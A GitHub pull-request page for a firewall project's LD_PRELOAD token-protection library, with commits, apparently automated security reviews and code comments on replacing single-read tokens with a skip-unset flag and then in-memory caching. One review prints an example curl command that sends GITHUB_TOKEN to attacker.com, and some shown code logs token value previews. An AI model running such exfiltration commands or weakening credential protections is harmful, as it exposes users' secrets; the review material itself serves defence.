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  • Add in-memory cache for token values (token_cache[] array)
  • On first getenv(): cache value, unsetenv() to clear /proc/self/environ, return cached value
  • On subsequent getenv(): return cached value directly
  • Remove AWF_ONE_SHOT_SKIP_UNSET flag and all skip-unset logic
  • Remove AWF_ONE_SHOT_SKIP_UNSET=1 from entrypoint.sh (both container and chroot modes)
  • Update integration tests for caching behavior
  • Update README documentation
  • Verify library compiles with -Wall and no warnings
  • Manual test confirms: getenv() returns value, environ array is cleared
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- Add skip_unset flag controlled by AWF_ONE_SHOT_SKIP_UNSET env var
- When enabled, tokens are logged but not cleared after access
- Allow multiple reads of tokens in skip-unset mode
- Update README with skip-unset mode documentation
- Add tests for skip-unset mode in both container and chroot modes

Co-authored-by: lpcox <15877973+lpcox@users.noreply.github.com>
- Built one-shot-token library successfully
- Verified normal mode clears tokens after first access
- Verified skip-unset mode preserves tokens and logs accesses
- Unit tests pass (736/737)
- Lint passes with no new errors

Co-authored-by: lpcox <15877973+lpcox@users.noreply.github.com>
- Call strdup() on result in both normal and skip-unset modes
- Prevents potential use-after-free if environment is modified
- Applies to both first access and subsequent accesses in skip-unset mode
- Addresses code review feedback about pointer safety

Co-authored-by: lpcox <15877973+lpcox@users.noreply.github.com>
Copilot AI changed the title [WIP] Fix the failing GitHub Actions workflow agent feat: add skip-unset mode to one-shot token library Feb 10, 2026
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Security Review: Security Boundary Weakening Detected

This PR introduces a mechanism that disables the core security protection of the one-shot token library. I've identified a critical security concern that needs to be addressed before merging.


🔴 Critical Security Issue: Environment-Variable-Controlled Security Bypass

File: containers/agent/one-shot-token/one-shot-token.c

Affected Lines: 63, 105-109, 254-267, 268-278, 330-351

Issue: The new AWF_ONE_SHOT_SKIP_UNSET environment variable completely disables token clearing, converting single-use tokens back to persistent environment variables.

Code Location (lines 105-109):

/* Check if we should skip unsetting (for debugging/testing) */
const char *skip_unset_env = real_getenv("AWF_ONE_SHOT_SKIP_UNSET");
if (skip_unset_env != NULL && strcmp(skip_unset_env, "1") == 0) {
    skip_unset = 1;
    fprintf(stderr, "[one-shot-token] WARNING: AWF_ONE_SHOT_SKIP_UNSET=1 - tokens will NOT be unset after access\n");
}

Security Bypass (lines 254-267):

if (skip_unset) {
    /* Skip unset mode - just log the access, don't clear */
    fprintf(stderr, "[one-shot-token] Token %s accessed (skip_unset=1, not cleared)\n", name);
} else {
    /* Unset the variable so it can't be accessed again */
    unsetenv(name);
    fprintf(stderr, "[one-shot-token] Token %s accessed and cleared\n", name);
}

Security Impact

The one-shot token library exists to prevent token exfiltration by limiting access to a single read. This PR undermines that protection:

  1. Tokens remain accessible for unlimited reads when AWF_ONE_SHOT_SKIP_UNSET=1 is set
  2. No technical enforcement prevents production use (only documentation warnings)
  3. Malicious code within the container can set this variable to disable protection
  4. Attack window expanded from single-use to entire program lifetime

Attack Scenario

# Malicious code in AI agent sets bypass before accessing tokens
export AWF_ONE_SHOT_SKIP_UNSET=1

# Token now accessible multiple times - exfiltration no longer limited
curl -X POST (attacker.com/redacted) -d "token=$(printenv GITHUB_TOKEN)"
sleep 60
curl -X POST (attacker.com/redacted) -d "token=$(printenv GITHUB_TOKEN)"  # Still works!

Without this PR: The second getenv() would return NULL (token cleared).
With this PR: The second getenv() returns the token value (protection bypassed).


Why This is a Security Boundary Weakening

The one-shot token library establishes a security boundary: tokens are accessible exactly once. This PR:

  • ✅ Maintains logging (good)
  • ❌ Adds trivial bypass mechanism (bad)
  • ❌ Provides no technical enforcement of "debug/testing only" claim
  • ❌ Allows programmatic disabling by untrusted code

This converts a security control into an opt-in suggestion.


Suggested Actions

Option 1: Reject the bypass mechanism (Recommended)

  • Remove AWF_ONE_SHOT_SKIP_UNSET functionality entirely
  • The one-shot token library should not have a "disable security" mode
  • Debugging can be done with logging (which already exists)

Option 2: Add technical enforcement (If bypass is absolutely necessary)

  • Require privileged access to enable (e.g., must be set before container starts, not modifiable from within)
  • Add capability checks to prevent in-container modification
  • Implement audit logging to external system when bypass is enabled
  • Add automatic disabling after time limit

Option 3: Restrict to non-production environments only

  • Compile-time flag (not runtime environment variable)
  • Build separate debug and production binaries
  • Production binary cannot enable skip-unset mode

Recommendation

Do not merge until the security implications are addressed. The current implementation allows malicious code to trivially bypass token protection, which defeats the purpose of the one-shot token library.

If this feature is needed for legitimate debugging, implement Option 2 or 3 to ensure it cannot be abused by compromised agents.

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lpcox commented Feb 10, 2026

@copilot please skip variable unsetting by setting AWF_ONE_SHOT_SKIP_UNSET=1

Set AWF_ONE_SHOT_SKIP_UNSET=1 in entrypoint.sh to skip variable
unsetting while still logging token accesses. This applies to both
container mode and chroot mode.

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@copilot please skip variable unsetting by setting AWF_ONE_SHOT_SKIP_UNSET=1

Done! Set AWF_ONE_SHOT_SKIP_UNSET=1 in both container mode and chroot mode in commit b8c011e. Tokens will now be logged on access but not cleared from the environment.

Copilot AI changed the title feat: add skip-unset mode to one-shot token library feat: add skip-unset mode to one-shot token library (enabled by default) Feb 10, 2026
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🔒 Security Review: Critical Security Concern

This PR introduces a critical security issue by disabling the one-shot token protection by default.

Issue: Security Protection Disabled by Default

The PR enables AWF_ONE_SHOT_SKIP_UNSET=1 by default in both container and chroot execution modes, which completely disables the security feature that prevents tokens from being read multiple times.

Evidence:

File: containers/agent/entrypoint.sh:389 (chroot mode)

- LD_PRELOAD_CMD="export LD_PRELOAD=${ONE_SHOT_TOKEN_LIB};"
+ LD_PRELOAD_CMD="export AWF_ONE_SHOT_SKIP_UNSET=1; export LD_PRELOAD=${ONE_SHOT_TOKEN_LIB};"

File: containers/agent/entrypoint.sh:410-411 (container mode)

+ # Skip unsetting tokens (for debugging/testing - logs accesses but doesn't clear them)
+ export AWF_ONE_SHOT_SKIP_UNSET=1

Security Impact

With this change:

  • Before: Tokens cleared after first access (security-by-default)
  • After: Tokens accessible unlimited times throughout process lifetime (insecure-by-default)

Attack scenarios enabled:

  1. Compromised dependencies can repeatedly read sensitive tokens
  2. Malicious code can store tokens for later exfiltration
  3. Tokens can be passed to child processes multiple times
  4. Multiple code paths can leak tokens through different attack vectors

Why This Violates Security Design

  1. Defeats Defense-in-Depth: The one-shot token library was designed as a critical security layer to limit token exposure even if malicious code runs inside the container.

  2. Inconsistent with Security Model: AWF's security model is built on layers of restrictions (network, DNS, capabilities, etc.). Disabling token protection by default undermines the entire security posture.

  3. Misleading Intent: The PR description states this is for "debugging/testing" but makes it the default production behavior. Security features must be enabled by default with opt-out for debugging.

  4. Principle Violation: Security-by-default is a fundamental principle. Users who need debugging can explicitly set AWF_ONE_SHOT_SKIP_UNSET=1, but the default should be secure.

Recommended Fix

Remove the default enablement of skip-unset mode:

# containers/agent/entrypoint.sh line 389
- LD_PRELOAD_CMD="export AWF_ONE_SHOT_SKIP_UNSET=1; export LD_PRELOAD=${ONE_SHOT_TOKEN_LIB};"
+ LD_PRELOAD_CMD="export LD_PRELOAD=${ONE_SHOT_TOKEN_LIB};"

# containers/agent/entrypoint.sh lines 410-411
- # Skip unsetting tokens (for debugging/testing - logs accesses but doesn't clear them)
- export AWF_ONE_SHOT_SKIP_UNSET=1
+ # One-shot token protection enabled (prevents multiple token reads)
+ # To disable for debugging: export AWF_ONE_SHOT_SKIP_UNSET=1

Keep the feature implementation (the C code and documentation) for opt-in debugging use, but do not enable it by default.

Summary

The implementation of skip-unset mode as an opt-in debugging feature is acceptable. However, enabling it by default fundamentally weakens the security model and should be reverted. Security protections must be enabled by default.

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🔒 Security Review: Critical Token Protection Weakening

This PR fundamentally changes the security model of the one-shot token library in a way that significantly weakens token protection. I recommend reconsidering this approach.

Summary of Security Impact

The PR changes token protection from single-use to unlimited in-process reuse. While /proc/self/environ is still cleared, any code running in the same process can now call getenv() unlimited times to retrieve cached tokens.


Detailed Analysis

Before (Original Security Model)

  • ✅ First getenv("GITHUB_TOKEN") → returns token value
  • unsetenv() clears /proc/self/environ
  • ✅ Second getenv("GITHUB_TOKEN") → returns NULL
  • Protection: Malicious code cannot retrieve tokens after first read

After (This PR's Model)

  • ✅ First getenv("GITHUB_TOKEN") → caches value, clears /proc/self/environ, returns token
  • ⚠️ Second getenv("GITHUB_TOKEN") → returns cached value
  • ⚠️ Third, fourth, fifth... getenv() → all return cached value
  • Weakened Protection: Any in-process code can retrieve tokens unlimited times

Code Evidence

File: containers/agent/one-shot-token/one-shot-token.c:287-295

} else {
    /* Already accessed - return cached value */
    result = token_cache[token_idx];  // ← SECURITY CONCERN
}

Previously this was:

} else {
    /* Already accessed - return NULL */
    result = NULL;  // ← Prevented token reuse
}

Attack Scenario Enabled

  1. Legitimate use: Copilot CLI reads GITHUB_TOKEN via getenv()
  2. Compromised dependency: Malicious code from a supply chain attack runs in the same process
  3. Before: Malicious code calls getenv("GITHUB_TOKEN") → gets NULL → cannot exfiltrate ✓
  4. After: Malicious code calls getenv("GITHUB_TOKEN") → gets cached token → exfiltrates successfully ⚠️

This is exactly the threat model the one-shot library was designed to prevent (per the original README: "protects against malicious code that might attempt to exfiltrate tokens after the legitimate application has already consumed them").


Documentation Changes Confirm Downgrade

Original protection statement:

"preventing subsequent reads"

New statement:

"allowing the process to read tokens multiple times"

Original threat model:

"This protects against malicious code that might attempt to exfiltrate tokens after the legitimate application has already consumed them"

New threat model:

"This protects against exfiltration via /proc/self/environ inspection while allowing legitimate multi-read access patterns"

The security guarantee has been fundamentally weakened from "prevent token reuse" to "only clear /proc/self/environ".


Recommendation

Option 1 (Preferred): Revert to single-use model

  • Keep the original security guarantee
  • If Copilot CLI needs multiple reads, fix the application to cache tokens itself
  • Maintain defense-in-depth against supply chain attacks

Option 2: Document the security trade-off

  • Add prominent security warnings to README
  • Explain that in-process code can retrieve tokens unlimited times
  • Document why this trade-off is acceptable for the use case
  • Consider adding a runtime flag to enable strict mode (single-use) for security-sensitive environments

Option 3: Hybrid approach

  • Allow controlled multi-read within a time window or call count limit
  • Still prevent unlimited reuse
  • Balance usability with security

Files Affected

  • containers/agent/one-shot-token/one-shot-token.c (line 289-294)
  • containers/agent/one-shot-token/README.md (security model documentation)
  • tests/integration/one-shot-tokens.test.ts (test expectations changed to allow reuse)

This is a security architecture decision that should be carefully evaluated against the firewall's threat model. The original single-use design provided stronger protection against in-process token exfiltration.

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lpcox commented Feb 10, 2026

@Mossaka problem was that unsetting variables prevented repeat accesses, even by the same process. library now caches value on first call, and then unsets. subsequent calls in the original process get cached value but /proc/self/environ is cleared and any process created via fork/exec will lose the in-memory cached value, e.g., when the agent tries to run bash commands.

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https://github.com/github/gh-aw-firewall/actions/runs/21877893154/job/63152191692?pr=640#step:28:1512

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…w (enabled by default) (#640)

* Initial plan

* feat: add AWF_ONE_SHOT_SKIP_UNSET flag to skip clearing tokens

- Add skip_unset flag controlled by AWF_ONE_SHOT_SKIP_UNSET env var
- When enabled, tokens are logged but not cleared after access
- Allow multiple reads of tokens in skip-unset mode
- Update README with skip-unset mode documentation
- Add tests for skip-unset mode in both container and chroot modes

Co-authored-by: lpcox <15877973+lpcox@users.noreply.github.com>

* test: verify skip-unset functionality works correctly

- Built one-shot-token library successfully
- Verified normal mode clears tokens after first access
- Verified skip-unset mode preserves tokens and logs accesses
- Unit tests pass (736/737)
- Lint passes with no new errors

Co-authored-by: lpcox <15877973+lpcox@users.noreply.github.com>

* fix: always strdup result in skip-unset mode for safety

- Call strdup() on result in both normal and skip-unset modes
- Prevents potential use-after-free if environment is modified
- Applies to both first access and subsequent accesses in skip-unset mode
- Addresses code review feedback about pointer safety

Co-authored-by: lpcox <15877973+lpcox@users.noreply.github.com>

* feat: enable skip-unset mode by default

Set AWF_ONE_SHOT_SKIP_UNSET=1 in entrypoint.sh to skip variable
unsetting while still logging token accesses. This applies to both
container mode and chroot mode.

Co-authored-by: lpcox <15877973+lpcox@users.noreply.github.com>

* feat: add token value preview to log messages

Show first 4 characters of token value plus "..." in log messages
to provide debugging context while protecting sensitive data.
Updates both getenv and secure_getenv interceptors.

Co-authored-by: lpcox <15877973+lpcox@users.noreply.github.com>

* feat: replace skip-unset with in-memory caching strategy

Cache token values in memory on first access, then unset from
environment. Subsequent getenv() calls return the cached value,
allowing programs to read tokens multiple times while
/proc/self/environ is cleared.

Remove AWF_ONE_SHOT_SKIP_UNSET - caching makes it unnecessary.

Co-authored-by: lpcox <15877973+lpcox@users.noreply.github.com>

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Pull request overview

This PR updates the agent’s LD_PRELOAD “one-shot token” library from single-read behavior to an in-process caching model that unsets protected environment variables (to reduce exposure via /proc/*/environ) while still allowing legitimate applications to read tokens multiple times.

Changes:

  • Update one-shot-token library behavior to cache token values in-memory and unsetenv() them after first read; subsequent reads return the cached value.
  • Refresh integration tests and documentation to reflect caching + environment cleanup behavior.
  • Update entrypoint comments to describe the new behavior.

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Copilot reviewed 4 out of 4 changed files in this pull request and generated 6 comments.

File Description
tests/integration/one-shot-tokens.test.ts Updates expected behavior for repeated reads and adds a (currently weak) environ-clearing test.
containers/agent/one-shot-token/one-shot-token.c Implements token value caching, adds value-preview logging, and adjusts getenv/secure_getenv behavior.
containers/agent/one-shot-token/README.md Documents the caching model and updated threat model/limitations.
containers/agent/entrypoint.sh Updates comments describing how token protection works when enabling LD_PRELOAD.
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containers/agent/one-shot-token/one-shot-token.c:285

  • Logging a token value preview (even just the first 4 chars) to stderr increases the risk of secret exposure in CI logs and diagnostics. Consider removing the value preview, gating it behind an explicit opt-in debug flag, or ensuring it is always redacted by the log collection pipeline.
            fprintf(stderr, "[one-shot-token] Token %s accessed and cached (value: %s)\n", 
                    name, format_token_value(token_cache[token_idx]));

            result = token_cache[token_idx];

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fprintf(stderr, "[one-shot-token] Token %s accessed and cached (value: %s) (via secure_getenv)\n",
name, format_token_value(token_cache[token_idx]));
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Same concern as above: this secure_getenv log line includes a token value preview on stderr, which can leak sensitive info into logs. Recommend removing or guarding this preview behind an explicit opt-in debug control.

This issue also appears on line 282 of the same file.

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fprintf(stderr, "[one-shot-token] Token %s accessed and cached (value: %s) (via secure_getenv)\n",
name, format_token_value(token_cache[token_idx]));
fprintf(stderr, "[one-shot-token] Token %s accessed and cached (via secure_getenv)\n",
name);

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test('should clear token from /proc/self/environ while caching for getenv()', async () => {
// Verify that the token is removed from the environ array
// but still accessible via getenv() (from cache)
const pythonScript = `
import os
import ctypes

# First access caches and clears from environ
first = os.getenv('GITHUB_TOKEN', '')

# Check if token is still in os.environ (reflects C environ array)
# After unsetenv, it should be gone from the environ array
in_environ = 'GITHUB_TOKEN' in os.environ

# But getenv() should still return cached value
second = os.getenv('GITHUB_TOKEN', '')

print(f"First getenv: [{first}]")
print(f"In os.environ: [{in_environ}]")
print(f"Second getenv: [{second}]")
`.trim();

const result = await runner.runWithSudo(
`python3 -c '${pythonScript}'`,
{
allowDomains: ['localhost'],
logLevel: 'debug',
timeout: 60000,
buildLocal: true,
env: {
GITHUB_TOKEN: 'ghp_environ_check',
},
}
);

expect(result).toSucceed();
expect(result.stdout).toContain('First getenv: [ghp_environ_check]');
// Note: Python's os.environ may cache at startup, so this checks the
// behavior of getenv() returning cached values
expect(result.stdout).toContain('Second getenv: [ghp_environ_check]');
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This test is named as if it verifies clearing tokens from /proc/self/environ, but it never asserts that the token was removed (and os.environ may not reflect external unsetenv() calls). Consider reading /proc/self/environ directly after the first getenv() and asserting that "GITHUB_TOKEN=" (or the token value) is absent, and either remove the unused ctypes import or use it for a stronger environ check.

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- **Token reuse by injected code**: If malicious code runs after the legitimate application has read its token, it cannot retrieve the token again
- **Token leakage via environment inspection**: Tools like `printenv` or reading `/proc/self/environ` will not show the token after first access
- **Token leakage via environment inspection**: `/proc/self/environ` and tools like `printenv` (in the same process) will not show the token after first access — the environment variable is unset
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The phrase "printenv (in the same process)" is misleading: printenv runs as a separate process. If you want to describe the effect, it’s more accurate to say child processes spawned after the token is unset won’t inherit it, and /proc//environ for the current process won’t include it.

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- **Token leakage via environment inspection**: `/proc/self/environ` and tools like `printenv` (in the same process) will not show the token after first access — the environment variable is unset
- **Token leakage via environment inspection**: After the first access, the environment variable is unset, so `/proc/self/environ` no longer contains the token and child processes spawned afterward (including those running tools like `printenv`) do not inherit it

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The one-shot token library is an `LD_PRELOAD` shared library that provides **cached access** to sensitive environment variables containing GitHub, OpenAI, Anthropic/Claude, and Codex API tokens. When a process reads a protected token via `getenv()`, the library caches the value in memory and immediately unsets the environment variable. Subsequent `getenv()` calls return the cached value, allowing the process to read tokens multiple times while `/proc/self/environ` is cleared.

This protects against malicious code that might attempt to exfiltrate tokens after the legitimate application has already consumed them.
This protects against exfiltration via `/proc/self/environ` inspection while allowing legitimate multi-read access patterns that programs like the Copilot CLI require.
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PR title/description mention "skip-unset mode", but the documented behavior here (and in the code) is in-memory caching + unsetenv. Consider updating the PR title/description to match the implemented caching approach to avoid confusion during release notes and audits.

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int token_idx = get_token_index(name);

/* Not a sensitive token - pass through to real secure_getenv */
if (token_idx < 0) {
return real_secure_getenv(name);
}
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secure_getenv() calls get_token_index() before ensuring the token list is initialized. If secure_getenv is the first intercepted call in a process, num_tokens will still be 0 and sensitive tokens will be treated as non-sensitive (no unset/caching). Also, get_token_index() here is done without holding token_mutex, so it can race with init_token_list() running in another thread.

See below for a potential fix:

    /* Ensure token list is initialized and synchronized before lookup */
    pthread_mutex_lock(&token_mutex);
    init_token_list();

    int token_idx = get_token_index(name);

    /* Not a sensitive token - pass through to real secure_getenv */
    if (token_idx < 0) {
        pthread_mutex_unlock(&token_mutex);
        return real_secure_getenv(name);
    }

    /* Sensitive token - handle cached access with secure_getenv semantics */

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if (result != NULL) {
/* Make a copy since unsetenv will invalidate the pointer */
/* Cache the value so subsequent reads succeed after unsetenv */
/* Note: This memory is intentionally never freed - it must persist
* for the lifetime of the caller's use of the returned pointer */
result = strdup(result);
* for the lifetime of the process */
token_cache[token_idx] = strdup(result);

/* Unset the variable so it can't be accessed again */
/* Unset the variable from the environment so /proc/self/environ is cleared */
unsetenv(name);

fprintf(stderr, "[one-shot-token] Token %s accessed and cleared\n", name);
fprintf(stderr, "[one-shot-token] Token %s accessed and cached (value: %s)\n",
name, format_token_value(token_cache[token_idx]));

result = token_cache[token_idx];
}
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If strdup() fails, token_cache[token_idx] becomes NULL but the code still calls unsetenv() and then returns NULL to the caller even though the real getenv() succeeded. Consider handling OOM by skipping unsetenv/logging when strdup fails (or aborting consistently) to avoid unexpectedly breaking token reads.

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Mossaka added a commit that referenced this pull request Feb 10, 2026
* fix: restrict host gateway iptables bypass to allowed ports only

The --enable-host-access flag added an iptables ACCEPT rule for
host.docker.internal with no port restriction, allowing agent code
to reach ANY service on the host (databases, admin panels, etc.)
and bypassing the dangerous-ports blocklist entirely.

Changes:
- Restrict host gateway FILTER ACCEPT to ports 80, 443, and any
  ports from --allow-host-ports (was: all ports)
- Apply same port restriction to network gateway bypass
- Add IPv4 format validation for dynamically resolved IPs before
  using them in iptables rules
- Mount chroot-hosts as read-only (:ro) since host.docker.internal
  is pre-injected by docker-manager.ts before mounting

The NAT RETURN rule (which prevents DNAT to Squid) is unchanged,
so MCP traffic still bypasses Squid correctly. Non-allowed port
traffic hits the final DROP rule in the FILTER chain.

Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>

* feat: add Maven proxy setup to Java workflow and Java/Maven docs

Move Maven proxy configuration to the workflow markdown (settings.xml
created at runtime using SQUID_PROXY_HOST/SQUID_PROXY_PORT env vars)
rather than generating it in docker-manager.ts. Add Java/Maven/Gradle
troubleshooting section to docs and JAVA_TOOL_OPTIONS documentation
to CLAUDE.md. Recompile build-test-java workflow.

Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>

* chore: regenerate workflow lock files after merging main

Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>

* feat: add skip-unset mode to one-shot token library with value preview (enabled by default) (#640)

* Initial plan

* feat: add AWF_ONE_SHOT_SKIP_UNSET flag to skip clearing tokens

- Add skip_unset flag controlled by AWF_ONE_SHOT_SKIP_UNSET env var
- When enabled, tokens are logged but not cleared after access
- Allow multiple reads of tokens in skip-unset mode
- Update README with skip-unset mode documentation
- Add tests for skip-unset mode in both container and chroot modes

Co-authored-by: lpcox <15877973+lpcox@users.noreply.github.com>

* test: verify skip-unset functionality works correctly

- Built one-shot-token library successfully
- Verified normal mode clears tokens after first access
- Verified skip-unset mode preserves tokens and logs accesses
- Unit tests pass (736/737)
- Lint passes with no new errors

Co-authored-by: lpcox <15877973+lpcox@users.noreply.github.com>

* fix: always strdup result in skip-unset mode for safety

- Call strdup() on result in both normal and skip-unset modes
- Prevents potential use-after-free if environment is modified
- Applies to both first access and subsequent accesses in skip-unset mode
- Addresses code review feedback about pointer safety

Co-authored-by: lpcox <15877973+lpcox@users.noreply.github.com>

* feat: enable skip-unset mode by default

Set AWF_ONE_SHOT_SKIP_UNSET=1 in entrypoint.sh to skip variable
unsetting while still logging token accesses. This applies to both
container mode and chroot mode.

Co-authored-by: lpcox <15877973+lpcox@users.noreply.github.com>

* feat: add token value preview to log messages

Show first 4 characters of token value plus "..." in log messages
to provide debugging context while protecting sensitive data.
Updates both getenv and secure_getenv interceptors.

Co-authored-by: lpcox <15877973+lpcox@users.noreply.github.com>

* feat: replace skip-unset with in-memory caching strategy

Cache token values in memory on first access, then unset from
environment. Subsequent getenv() calls return the cached value,
allowing programs to read tokens multiple times while
/proc/self/environ is cleared.

Remove AWF_ONE_SHOT_SKIP_UNSET - caching makes it unnecessary.

Co-authored-by: lpcox <15877973+lpcox@users.noreply.github.com>

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Co-authored-by: copilot-swe-agent[bot] <198982749+Copilot@users.noreply.github.com>
Co-authored-by: lpcox <15877973+lpcox@users.noreply.github.com>

* fix: use mkdtempSync for chroot-hosts to address CodeQL CWE-377

Build complete chroot-hosts content in memory, then write atomically
to a securely-created temp directory (fs.mkdtempSync). This satisfies
CodeQL's js/insecure-temporary-file rule by using the recognized
sanitizer for temp file creation.

Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>

* chore: recompile build-test-java workflow after merge

Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>

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Co-authored-by: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
Co-authored-by: Copilot <198982749+Copilot@users.noreply.github.com>
Co-authored-by: lpcox <15877973+lpcox@users.noreply.github.com>
github-actions bot added a commit that referenced this pull request Feb 12, 2026
- Add --allow-full-filesystem-access flag to docs/usage.md
- Add link to docs/selective-mounting.md in README.md
- Update AGENTS.md container architecture to reflect selective mounting default
- Update docs/architecture.md with security features:
  - Selective mounting and credential protection
  - One-shot token library (LD_PRELOAD)
  - MCP logs directory protection

Changes sync documentation with code from PRs:
- #681 (selective mounting)
- #706, #709, #710 (mcp-logs hiding)
- #604, #640 (one-shot token library)
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